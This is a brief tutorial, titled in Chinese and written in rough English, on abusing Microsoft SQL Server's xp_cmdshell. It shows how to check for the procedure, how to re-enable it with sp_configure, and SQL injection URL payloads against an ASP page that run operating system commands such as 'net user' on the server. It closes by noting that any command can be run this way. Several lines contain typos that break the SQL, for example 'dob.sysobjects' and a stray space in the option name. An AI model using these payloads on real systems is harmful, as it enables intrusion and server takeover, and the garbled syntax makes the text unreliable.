mssql的xp_cmdshell扩展

introduction

xp_cmdshell extension : stored procedure executes command string as an operating system command in shell  and retireve all output as text lines

a return value of 1 indicates the extension is xp_cmdshell

　　code: select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

testing whether can execute system command

　　exec master..xp_cmdshell 'net user'

　　exec master.dbo.xp_cmdshell 'net user'

error

• workaround
  • exec sp_configure 'show advanced options',1;　　
  • exec  sp_configure ' xp_cmdshell',1;
  • reconfigure

sp_configure is a stored procedure used to modify system configurations.to modify advanced options in sytem ,the 'show advanced options' parameter must be set to 1.

a stored procedure execute command to modify advanced parameter 'xp_cmeshell' and set it to 1 that allows sqlserver execute operating sysytem cmd outside of database

using xp_cmdshell obtain server shell

1.detemine whether have xp_cmdshell

asp?id=1' and (select count(*) from master.dob.sysobjects  where xtype='X' and name='xp_cmdshell') >0 --　　　　#website common output --success

2.use xp_cmdshell execute systemcmd

　　asp?id=1';exec master.dbo.xp_cmdshell 'net user' -- 

　　tips:  after executing a cmd,there is no normal output in browser.as long as no error,it indicates the cmd has been executed successfully.

the most vital thing is we can use  any cmd after master.dbo.xp_cmdshell